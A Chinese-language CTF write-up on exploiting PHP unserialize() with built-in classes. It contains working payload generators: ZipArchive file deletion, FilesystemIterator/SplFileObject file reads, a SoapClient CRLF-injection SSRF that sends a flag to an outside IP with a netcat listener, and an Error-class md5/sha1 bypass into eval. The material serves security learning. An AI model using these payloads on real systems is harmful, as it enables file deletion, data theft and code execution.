MENU

PHP内置类关于反序列化的应用

December 4, 2021 • Read: 780 • WEB Security Learning

前言

在很多CTF题目中,都遇见了很多次利用php原生类
可以用其xss,ssrf,xxe,反序列化,读文件等
今天就总结一下

可以使用下面的脚本就行php内置类的遍历

 <?php
    $classes = get_declared_classes();
    foreach ($classes as $class) {
        $methods = get_class_methods($class);
        foreach ($methods as $method) {
            if (in_array($method, array(
                '__destruct',
                '__toString',
                '__wakeup',
                '__call',
                '__callStatic',
                '__get',
                '__set',
                '__isset',
                '__unset',
                '__invoke',
                '__set_state'
            ))) {
                print $class . '::' . $method . "\n";
            }
        }
    }

它的输出为

 Exception::__wakeup
    Exception::__toString
    ErrorException::__wakeup
    ErrorException::__toString
    Error::__wakeup
    Error::__toString
    ParseError::__wakeup
    ParseError::__toString
    TypeError::__wakeup
    TypeError::__toString
    ArithmeticError::__wakeup
    ArithmeticError::__toString
    DivisionByZeroError::__wakeup
    DivisionByZeroError::__toString
    Generator::__wakeup
    ClosedGeneratorException::__wakeup
    ClosedGeneratorException::__toString
    DateTime::__wakeup
    DateTime::__set_state
    DateTimeImmutable::__wakeup
    DateTimeImmutable::__set_state
    DateTimeZone::__wakeup
    DateTimeZone::__set_state
    DateInterval::__wakeup
    DateInterval::__set_state
    DatePeriod::__wakeup
    DatePeriod::__set_state
    LogicException::__wakeup
    LogicException::__toString
    BadFunctionCallException::__wakeup
    BadFunctionCallException::__toString
    BadMethodCallException::__wakeup
    BadMethodCallException::__toString
    DomainException::__wakeup
    DomainException::__toString
    InvalidArgumentException::__wakeup
    InvalidArgumentException::__toString
    LengthException::__wakeup
    LengthException::__toString
    OutOfRangeException::__wakeup
    OutOfRangeException::__toString
    RuntimeException::__wakeup
    RuntimeException::__toString
    OutOfBoundsException::__wakeup
    OutOfBoundsException::__toString
    OverflowException::__wakeup
    OverflowException::__toString
    RangeException::__wakeup
    RangeException::__toString
    UnderflowException::__wakeup
    UnderflowException::__toString
    UnexpectedValueException::__wakeup
    UnexpectedValueException::__toString
    CachingIterator::__toString
    RecursiveCachingIterator::__toString
    SplFileInfo::__toString
    DirectoryIterator::__toString
    FilesystemIterator::__toString
    RecursiveDirectoryIterator::__toString
    GlobIterator::__toString
    SplFileObject::__toString
    SplTempFileObject::__toString
    SplFixedArray::__wakeup
    ReflectionException::__wakeup
    ReflectionException::__toString
    ReflectionFunctionAbstract::__toString
    ReflectionFunction::__toString
    ReflectionParameter::__toString
    ReflectionType::__toString
    ReflectionMethod::__toString
    ReflectionClass::__toString
    ReflectionObject::__toString
    ReflectionProperty::__toString
    ReflectionExtension::__toString
    ReflectionZendExtension::__toString
    AssertionError::__wakeup
    AssertionError::__toString
    DOMException::__wakeup
    DOMException::__toString
    PDOException::__wakeup
    PDOException::__toString
    PDO::__wakeup
    PDOStatement::__wakeup
    SimpleXMLElement::__toString
    SimpleXMLIterator::__toString
    CURLFile::__wakeup
    IntlException::__wakeup
    IntlException::__toString
    mysqli_sql_exception::__wakeup
    mysqli_sql_exception::__toString
    PharException::__wakeup
    PharException::__toString
    Phar::__destruct
    Phar::__toString
    PharData::__destruct
    PharData::__toString
    PharFileInfo::__destruct
    PharFileInfo::__toString
    SoapClient::__call
    SoapFault::__toString
    SoapFault::__wakeup

然后在这里讲几个类的简单使用例子

ZipArchive 内置类删除文件(php>5.20)

Bugku noteasytrick

<?php
error_reporting(0);
ini_set("display_errors","Off");
class Jesen {
    public $filename;
    public $content;
    public $me;

    function __wakeup(){
        $this->me = new Ctf();
    }
    function __destruct() {
        $this->me->open($this->filename,$this->content);
    }
}

class Ctf {
    function __toString() {
        return "die";
    }
    function open($filename, $content){
        if(!file_get_contents("./sandbox/lock.lock")){
            echo file_get_contents(substr($_POST['b'],0,30));
            die();
        }else{
            file_put_contents("./sandbox/".md5($filename.time()),$content);
            die("or you can guess the final filename?"); 
        }
        
    }
}

if(!isset($_POST['a'])){
    highlight_file(__FILE__);
    die();
}else{
    if(($_POST['b'] != $_POST['a']) && (md5($_POST['b']) === md5($_POST['a']))){
        unserialize($_POST['c']);
    }

}

第一步 需要绕过wakeup
./sandbox/lock.lock这个文件存在就会到else,我们试试访问这个文件,发现它是存在的,所以到else
else这里很明显是让我们猜文件名 但它文件名又是通过md5加密的 所以想猜出来基本没有可能
到这里就会需要我们利用 ZipArchive内置类的open方法达到删除文件效果

exp

<?php
class Jesen {

    public $filename = './sandbox/lock.lock';
    public $content = 8;
    public $me;}
$a = new  Jesen();
$zip  = new  ZipArchive;
$a->me = $zip;
$b = serialize($a);
$b = str_replace('":3:','":4:',$b);
echo $b;
echo "\n";

其实它的利用原理是这样的ZipArchive::open($filename, ZipArchive::OVERWRITE)

const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也可以直接将flags赋值为8就能达到文件删除的目的

这道题具体就可以去看看我的这篇文章

SplFileObject读取文件(php>=5.1.0,php7)

2021年-绿盟杯-serialize

<?php
error_reporting(0);
highlight_file(__FILE__);

class Demo{
    public $class;
    public $user;
    public function __construct()
    {
        $this->class = "safe";
        $this->user = "ctfer";
        $context = new $this->class ($this->user);
        foreach($context as $f){
            echo $f;
        }
    }

    public function __wakeup()
    {
        $context = new $this->class ($this->user);
        foreach($context as $f){
            echo $f;
        }
    }

}
class safe{
    var $user;
    public function __construct($user)
    {
        $this->user = $user;
        echo ("hello ".$this->user);
    }
}


if(isset($_GET['data'])){
    unserialize($_GET['data']);
}
else{
    $demo=new Demo;

很简单的一个利用点

public function __wakeup()
    {
        $context = new $this->class ($this->user);
        foreach($context as $f){
            echo $f;
    }

exp

    <?php
    class Demo{
        public $class;
        public $user;
        public function __construct(){
            $this->class = "FilesystemIterator";
            $this->user = "./";
        }
    
    }
    $res = new Demo();
    echo urlencode(serialize($res));
    ?>

读取目录后再进行读取文件exp

 <?php
class Demo{
    public $class;
    public $user;
    public function __construct(){
        $this->class = "SplFileObject";
        $this->user = "./flag.php";
    }

}
$res = new Demo();
echo urlencode(serialize($res));
?>

SplFileInfo 类为单个文件的信息提供了一个高级的面向对象的接口,可以用于对文件内容的遍历、查找、操作等
要想全部读取的话还需要对文件中的每一行内容进行遍历,就像上述题目中的遍历一下

还有其他几个可遍历目录的类

DirectoryIterator 类(php5,php7)

DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器
需要触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名
如果想输出全部的文件名我们还需要对对象进行遍历
也可以配合glob://协议使用模式匹配来寻找我们想要的文件路径
DirectoryIterator与glob://协议结合将无视open_basedir对目录的限制

FilesystemIterator 类(php5,php7)

FilesystemIterator 类与 DirectoryIterator 类相同

GlobIterator 类(php>=5.3.0,php7)

与前两个类的作用相似,GlobIterator 类也可以遍历一个文件目录,使用方法与前两个类也基本相似。但与上面略不同的是其行为类似于 glob(),可以通过模式匹配来寻找文件路径
GlobIterator 类支持直接通过模式匹配来寻找文件路径,也就是说假设我们知道一个文件名的一部分,我们可以通过该类的模式匹配找到其完整的文件名

FilesystemIterator类读目录加SoapClient类SSRF

2021-极客大挑战-SoEzUnser


<?php

class fxxk{
    public $par0;
    public $par1;
    public $par2;
    public $par3;
    public $kelasi;
    
    public function __construct($par0,$par1,$par2,$par3){
        $this -> par0 = $par0;
        $this -> par1 = $par1;
        $this -> par2 = $par2;
        $this -> par3 = $par3;
    }
    public function newOne(){
        $this -> kelasi = new $this -> par0($this -> par1,$this -> par2);
    }

    public function wuhu(){
        echo('syclover    !'.$this -> kelasi.'     yyds');
    }
    
    public function qifei(){
        //$ser = serialize($this -> kelasi);
        //$unser = unserialize($ser);
        $this -> kelasi -> juts_a_function();
    }
    
    public function __destruct(){
        if(!empty($this -> par0) && (isset($this -> par1) || isset($this -> par2))){
            $this -> newOne();
            if($this -> par3 == 'unser'){
                $this -> qifei();
            }
            else{
                $this -> wuhu();
            }
        }
    }

    public function __wakeup(){
        @include_once($this -> par2.'hint.php');
    }
}
highlight_file(__FILE__);
$hack = $_GET['hack'];
unserialize($hack);

首先有个hint.php在__wakeup中,直接php伪协议拼接读取


$a=new fxxk();
$a->par2='php://filter/read=convert.base64-encode/resource=';
$b=serialize($a);
echo $b;

得到提示

**<?php

$hint = '向管理员的页面post一个参数message(告诉他,"iwantflag") 和 另一个参数 url(它会向这个url发送一个flag';
$hint .= '管理员的页面在当前目录下一个特殊文件夹里';
$hint .= '但是我不知道(你也猜不到的)文件夹名称和管理员页面的名称,更坏的消息是只能从127.0.0.1去访问,你能想个办法去看看(别扫 扫不出来!!!)';**

然后进行当前目录扫描就行
然后目录扫描这里用FilesystemIterator
/www/wwwroot/ctf.rigelx.top/unserbucket/为当前目录,通过报错得到


**exp为**

    <?php
    class fxxk{
    public $par0;
    public $par1;
    public $par2;
        public function __construct(){
            $this->par2='1';
            $this->par0='FilesystemIterator';;
            $this->par1='/www/wwwroot/ctf.rigelx.top/unserbucket/';
            //$this->par1='/www/wwwroot/ctf.rigelx.top/unserbucket/aaaaaaaaaaafxadwagaefae/';
}}
    $a=new fxxk();
    var_dump(serialize($a));

然后得到在目录下有一个UcantGuess.php

我们直接访问
他页面显示出了一个提示just_for_me,就是需要他自己才能访问
这里就需要根据提示来用SoapClient构造SSRF了
直接上exp

<?php
$target = 'http://127.0.0.1/unserbucket/aaaaaaaaaaafxadwagaefae/UcantGuess.php';
$post_string = 'message=iwantflag&url=http://121.41.59.127:8080/';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
);
$b =array('location' => $target, 'user_agent' => 'm1kael^^Content-Type: application/x-www-form-urlencoded^^' . join('^^', $headers) . '^^Content-Length: ' . (string)strlen($post_string) . '^^^^' . $post_string, 'uri' => "flag");

$aaa = serialize($b);
$aaa = str_replace('^^', "\r\n", $aaa);
$aaa = str_replace('&', '&', $aaa);
//echo $aaa;
$c = unserialize($aaa);
class fxxk{
public $par0;
public $par1;
public $par2;
public $par3;
public $kelasi;
    public function __construct(){
        $this->par0='SoapClient';
        $this->par1=null;
        $this->par3='unser';
        }}
$a=new fxxk();
$a->par2=$c;
echo(urlencode(serialize($a)));

然后在你vps上监听就行 nc -lvvp 8080
得到flag

使用 Error/Exception 内置类绕过哈希比较

[2020 极客大挑战]Greatphp

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

可见,需要进入eval()执行代码需要先通过上面的if语句:

if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) )

这个乍看一眼在ctf的基础题目中非常常见,一般情况下只需要使用数组即可绕过。但是这里是在类里面,我们当然不能这么做。
这里的考点是md5()和sha1()可以对一个类进行hash,并且会触发这个类的 __toString
方法;且当eval()函数传入一个类对象时,也会触发这个类里的 __toString 方法。 所以我们可以使用含有 __toString
方法的PHP内置类来绕过,用的两个比较多的内置类就是 Exception 和 Error ,他们之中有一个 __toString
方法,当类被当做字符串处理时,就会调用这个函数。 根据刚才讲的Error类和Exception类中 __toString
方法的特性,我们可以用这两个内置类进行绕过。 由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接 include
"/flag" 将flag包含进来即可。由于过滤了引号,我们直接用url取反绕过即可。

这里 $str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";中为什么要在前面加上一个 ?> 呢?
因为 Exception 类与 Error 的 __toString方法在eval()函数中输出的结果是不可能控的,即输出的报错信息中,payload前面还有一段杂乱信息“Error: ”:



Error: payload in /usercode/file.php:2
    Stack trace:
    #0 {main}

进入eval()函数会类似于:eval("...Error: <?php payload ?>")。所以我们要用 ?> 来闭合一下,即 eval("...Error: ?><?php payload ?>"),这样我们的payload便能顺利执行了。
poc

<?php

class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }
}

$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
/* 
或使用[~(取反)][!%FF]的形式,
即: $str = "?><?=include[~".urldecode("%D0%99%93%9E%98")."][!.urldecode("%FF")."]?>";    

$str = "?><?=include $_GET[_]?>"; 
*/
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

?>
Last Modified: January 17, 2022
Archives Tip
QR Code for this page
Tipping QR Code